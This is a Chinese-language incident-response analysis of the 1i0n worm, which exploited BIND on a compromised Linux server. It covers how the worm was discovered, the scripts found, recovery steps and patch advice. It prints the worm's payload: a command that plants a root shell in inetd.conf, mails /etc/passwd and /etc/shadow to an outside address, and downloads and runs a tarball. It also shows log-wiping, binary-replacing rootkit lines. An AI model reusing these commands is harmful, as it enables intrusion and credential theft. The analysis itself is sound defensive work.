1i0n蠕虫分析

    技术2022-05-11  153

    作者:zackno

    情况简介 开始,无意当中列了一下系统进程发现一个有趣的进程。 [acc@firework acc]$ps aux ..... ...... root 3440 99.9 0.5 1088 360 ? R 16:00 0:06 ./pscan xxx.xx 53 ...... [root@firework /root]# ps aux | grep pscan root 3833 97.0 0.5 1088 360 ? RN 16:38 0:10 ./pscan xxx.xx 53 [root@firework /root]# kill -9 3833 [root@firework /root]# ps aux | grep pscan root 3839 55.5 0.5 1088 360 ? RN 16:38 0:01 ./pscan xxx.xx 53 [root@firework /root]# kill -9 3839 [root@firework /root]# ps aux | grep pscan root 3845 99.9 0.5 1088 360 ? RN 16:38 0:01 ./pscan xxx.xx 53 以root权限杀死该进程后,又重新启动,有些古怪。 [acc@firework acc]$find / -name pscan -print /dev/.lib/scan/pscan /dev/.lib??? /dev/.lib存在,似乎该系统已经被入侵了。 事件分析 1阻止攻击。 我们检查日志信息和击键记录,发现日志系统在1.26被关闭。一些日志记录出现一些空白段, 表明被改过,没有其他信息,紧接着我们检查这些程序: [acc@firework acc]$cd /dev/.lib [acc@firework .lib]$ls [acc@firework libb]$ls -al total 20 drwxr-xr-x 4 root root 4096 Feb 01 13:15 . drwxr-xr-x 4 root root 4096 Feb 01 12:30 .. -rwxr-xr-x 1 root root 53 Feb 01 16:30 1i0n.sh drwx------ 4 root root 4096 Feb 01 15:37 lib drwxr-xr-x 2 root root 4096 Feb 01 16:03 scan [acc@firework libb]$cat 1i0n.sh cd lib ./1i0n.sh & cd ../scan ./1i0n.sh & 似乎是启动程序,启动./lib/1i0n.sh和./scan/1i0n.sh,先来看看./lib/1i0n.sh [acc@firework libb]$cat lib/1i0n.sh |more .... mv -f in.fingerd /usr/sbin/in.fingerd mv -f ps /bin/ps mv -f ifconfig /sbin/ifconfig mv -f du /usr/bin/du mv -f netstat /bin/netstat mv -f top /usr/bin/top mv -f ls /bin/ls mv -f find /usr/bin/find rm -fr /.bash_history rm -fr /root/.bash_history echo >/var/log/messages echo >/var/log/maillog [acc@firework libb]$ 这是个是个善后处理放置后门的程序,再来看看./scan/1i0n.sh。 [acc@firework libb]$cat scan/1i0n.sh rm -f /etc/hosts.deny echo "/dev/.lib/lib/scan/star.sh" >> /etc/rc.d/rc.sysinit /*开机启动star.sh*/ touch bindname.log ./star.sh [acc@firework libb]$ cat scan/star.sh rm -f bindname.log; touch bindname.log nohup ./scan.sh >>/dev/null & /*带nohup*/ nohup ./hack.sh >>/dev/null & [acc@firework libb]$ cat scan/scan.sh while true /*所以杀不死该进程, do 一杀死,scan.sh CLASSB=`./randb` 又重新启动pscan*/ ./pscan $CLASSB 53 done 由于这台机器还在运行ps [acc@firework libb]$ 从进程的名字来看,这台机器可能正在被人利用,我们用sniffer监听,听到了很多类似的数据包。 54864(0) win 32120 <mss 1460,sackOK,timestamp 171000892 0,nop,wscale 0> (DF) 16:19:23.955554 eth0 > xxx.xxx.x.xx.4169 > xxx.xx.x.8.domain: S 1854598569:18545 98569(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF) 16:19:23.955636 eth0 > xxx.xxx.x.xx.4170 > xxx.xx.x.9.domain: S 1867025565:18670 25565(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF) 16:19:23.955694 eth0 > xxx.xxx.x.xx.4171 > xxx.xx.x.10.domain: S 1858702344:18587 02344(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF) 16:19:23.955759 eth0 > xxx.xxx.x.xx.4172 > xxx.xx.x.11.domain: S 1861784891:1861 784891(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF) ..... 似乎这个程序专门针对53端口,也就是named的,而且是个大范围扫描程序,可能在扫描后会把结果 发给攻击者,。 我们首先要切断连接,要杀掉这些进程。 [root@firework libb]#ps aux root 4252 0.2 1.1 1648 752 pts/1 SN 17:48 0:00 sh ./scan.sh root 4253 0.2 1.1 1648 748 pts/1 SN 17:48 0:00 sh ./hack.sh root 4258 0.0 0.7 1252 460 pts/1 SN 17:48 0:00 tail -f bindname. root 4262 99.9 0.5 1088 360 pts/1 RN 17:48 0:14 ./pscan xxx.xx 53 [root@firework libb]#kill -9 4252 [root@firework libb]#kill -9 4253 [root@firework libb]#kill -9 4258 [root@firework libb]#kill -9 4262 再看都杀掉了。 2应急处理 由于攻击者并没有篡改页面,只是利用此机器作为肉机,作为进一步攻击的基地。 我们简单查看了/dev/.lib/1i0n以及/dev/.lib/lib/1i0n.sh、/dev/.lib/scan/1i0n.sh [acc@firework scan]$strings bind PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';export PATH;export TERM=vt 100;rm -rf /dev/.lib;mkdir /dev/.lib;cd /dev/.lib;echo '1008 stream tcp nowait r oot /bin/sh sh' >>/etc/inetd.conf;killall -HUP inetd;ifconfig -a>1i0n;cat /etc/p asswd >>1i0n;cat /etc/shadow >>1i0n;mail 1i0nip@china.com <1i0n;rm -fr 1i0n;rm - fr /.bash_history;lynx -dump http://coollion.51.net/crew.tgz >1i0n.tgz;tar -zxvf 1i0n.tgz;rm -fr 1i0n.tgz;cd lib;./1i0n.sh;exit; ..... 修改lsd-pl.net提供的exploit,很容易就可以加入这些代码。 >char command [] =""; >write(sck[1],command,sizeof(command)); 发现这是一个专门针对bind的蠕虫程序。 lib/1i0n.sh主要是入侵以后清理日志、bash_history,放置后门程序。 scan/1i0n.sh主要是启动两个程序,一个pscan扫描B网段(可选C网段),并把结果放置在 ./bindname.log中,bind程序负责从bindname.log中提取结果进行自动攻击,攻击成功后放 置后门程序,并开始随机扫描。 我们在保留蠕虫样本后,对系统进行了简单恢复, 1、停止运行域名服务(准备升级) 2、修改/etc/rc.d/init.d/inetd.conf 删除 1008 stream tcp nowait root /bin/sh sh 1008 stream tcp nowait root /bin/sh sh 60008 stream tcp nowait root /bin/sh sh 33567 stream tcp nowait root /bin/sh sh kill -9 pidof(nscd) kill -9 pidof(t0rns) 3、修改/etc/rc.d/sysinit 删除 /dev/.lib/lib/scan/star.sh /usr/sbin/nscd -q /bin/in.telnetd 4、 删除如下目录和文件 /etc/ttyhash /usr/man/man1/man1 /usr/src/.puta /usr/info/.t0rn/ /usr/sbin/nscd /dev/.lib /bin/mjy 5、替换如下程序 /bin/login /usr/sbin/nscd /usr/sbin/in.telnetd /sbin/ifconfig /bin/ps /usr/bin/du /bin/ls /bin/netstat /usr/bin/find /usr/bin/top /usr/sbin/in.finger 6、修改/etc/inetd.conf 注释掉finger服务,并把权限改为nobody。 7、如有ipchains运行,请重新运行规则。 8、检查/var/spool/mqueue下用命令"grep "1i0nip@china.com" *",如发现有文件包含此字段,请 删除此文件。 9、如有必要,增加并修改你的hosts.deny文件 10、重启系统. 可疑之处:根据syslogd被宕掉,但从程序来看不应出现此现象,因此可能除去程序,有攻击者直接登录过。 技术分析 该蠕虫攻击程序的详细描述参照 bugtraq id 2302 cve CAN-2001-10 影响bind版本: ISC bind 8.2 8.2.1 8.2.2 8.2.2-PX 不受影响 ISC BIND 9.1 ISC BIND 9.0 ISC BIND 8.2.3 通过对蠕虫样本的分析,我们可以看出其基本的工作流程 10in.sh---->./lib/10in.sh-->清理日志、放置后门程序(ssh、sniffer、ls、netstat etc..) | -->获取系统信息并mail to 1i0nsniff@china.com | | | |-->./scan/10in.sh-->./pscan 对随机生成的B网段进行扫描 -->./bind 对有漏洞的系统进行攻击,攻击成功后首先获取网络配置、 passwd、shadow到10inip@china.com,放置后门并继续攻击其他机器。 [acc@firework acc]$ls /dev/.lib /dev/.lib/lib/scan/1i0n.sh -----启动程序,调用./star.sh并把它加入开机启动 /dev/.lib/lib/scan/hack.sh -----一旦检测到在bindname.log中有新纪录,就调用 bindx.sh对目标进行攻击 /dev/.lib/lib/scan/bind -----利用TSIG漏洞进行攻击的程序(修改lsd-pl.net提供的) /dev/.lib/lib/scan/randb -----随机产生一个B类网段,由pscan调用 /dev/.lib/lib/scan/scan.sh -----调用pscan $(./randb) 53 /dev/.lib/lib/scan/pscan -----探测远程系统是否开启bind服务,如开启,记录 到bindname.log /dev/.lib/lib/scan/star.sh -----调用sscan.sh和hack.sh /dev/.lib/lib/scan/bindx.sh -----调用bind /dev/.lib/lib/scan/bindname.log -----记录存在漏洞的主机IP /dev/.lib/lib/1i0n.sh -----启动程序,启动lib/1i0n.sh、scan/1i0n.sh /dev/.lib/lib/lib/netstat -----后门 /dev/.lib/lib/lib/dev/.1addr -----?(可能是为其他程序所用) /dev/.lib/lib/lib/dev/.1logz /dev/.lib/lib/lib/dev/.1proc /dev/.lib/lib/lib/dev/.1file /dev/.lib/lib/lib/t0rns -----sniffer程序 /dev/.lib/lib/lib/du -----后门 /dev/.lib/lib/lib/ls -----后门 /dev/.lib/lib/lib/t0rnsb -----清理日志 /dev/.lib/lib/lib/ps -----后门 /dev/.lib/lib/lib/t0rnp -----? /dev/.lib/lib/lib/find -----后门 /dev/.lib/lib/lib/ifconfig -----后门 /dev/.lib/lib/lib/pg -----生成密码程序到/etc/ttyhash(login使用) /dev/.lib/lib/lib/ssh.tgz -----ssh后门 /dev/.lib/lib/lib/top -----后门 /dev/.lib/lib/lib/sz -----修改文件大小 /dev/.lib/lib/lib/login -----后门 /dev/.lib/lib/lib/in.fingerd -----后门 /dev/.lib/lib/lib/1i0n.sh -----清除日志,放置后门 /dev/.lib/lib/lib/pstree -----后门 /dev/.lib/lib/lib/in.telnetd -----后门 /dev/.lib/lib/lib/mjy -----后门 /dev/.lib/lib/lib/sush -----? /dev/.lib/lib/lib/tfn -----D.d.o.s工具 /dev/.lib/lib/lib/name -----没有改过的exploit /dev/.lib/lib/lib/getip.sh -----获取网络、passwd等mail到1i0nsniffer@china.com 该蠕虫原理和ramen很像,不同的是ramen是个良性蠕虫,而此蠕虫的破坏性较大,并且窃取用户口令 文件、网络配置,应该说影响较大,因为即使用户发现,但是很多主机的用户名会为人所知,攻击面 较大,一旦被利用作为D.d.o.s攻击,后果将非常严重。 事故处理 William Stearns写了一个检测程序,但并不能清除该蠕虫。 下载: http://www.sans.org/y2k/lionfind-0.1.tar.gz 建议修补方法:按照应急处理一步一步来做,升级bind版本。 http://www.isc.org/products/BIND/bind9.html 后记: sans上的有一些介绍http://www.sans.org/y2k/lion.htm 问题:有几个文件不知用处,象.t0rn/.1addr...。 如果你知道,请mail我一份。 该蠕虫似乎没有考虑到在攻击之前检查是否已经被感染,可能进行重复攻击。(named不重新启动过,再 次攻击也无效),目前我没有发现别的变种,该蠕虫自己不能复制,它通过coollion.51.net来获取蠕虫。 脚本或许写的比较急,有些.... :) if test -n "$2" ; then echo "${BLU}# ${BLU} Using ssh-port : ${WHI}$2 ${BLU} ${RES}" tar xfz ssh.tgz echo "Port $2" >> .t0rn/shdcf echo "3 $2" >> dev/.1addr cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2 else echo "${BLU}# ${RED} No ssh-port Specified, using default - 33568 ${ BLU} #${RES}" tar xfz ssh.tgz echo "Port 33568" >> .t0rn/shdcf echo "3 $2" >> dev/.1addr cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2 fi


    最新回复(0)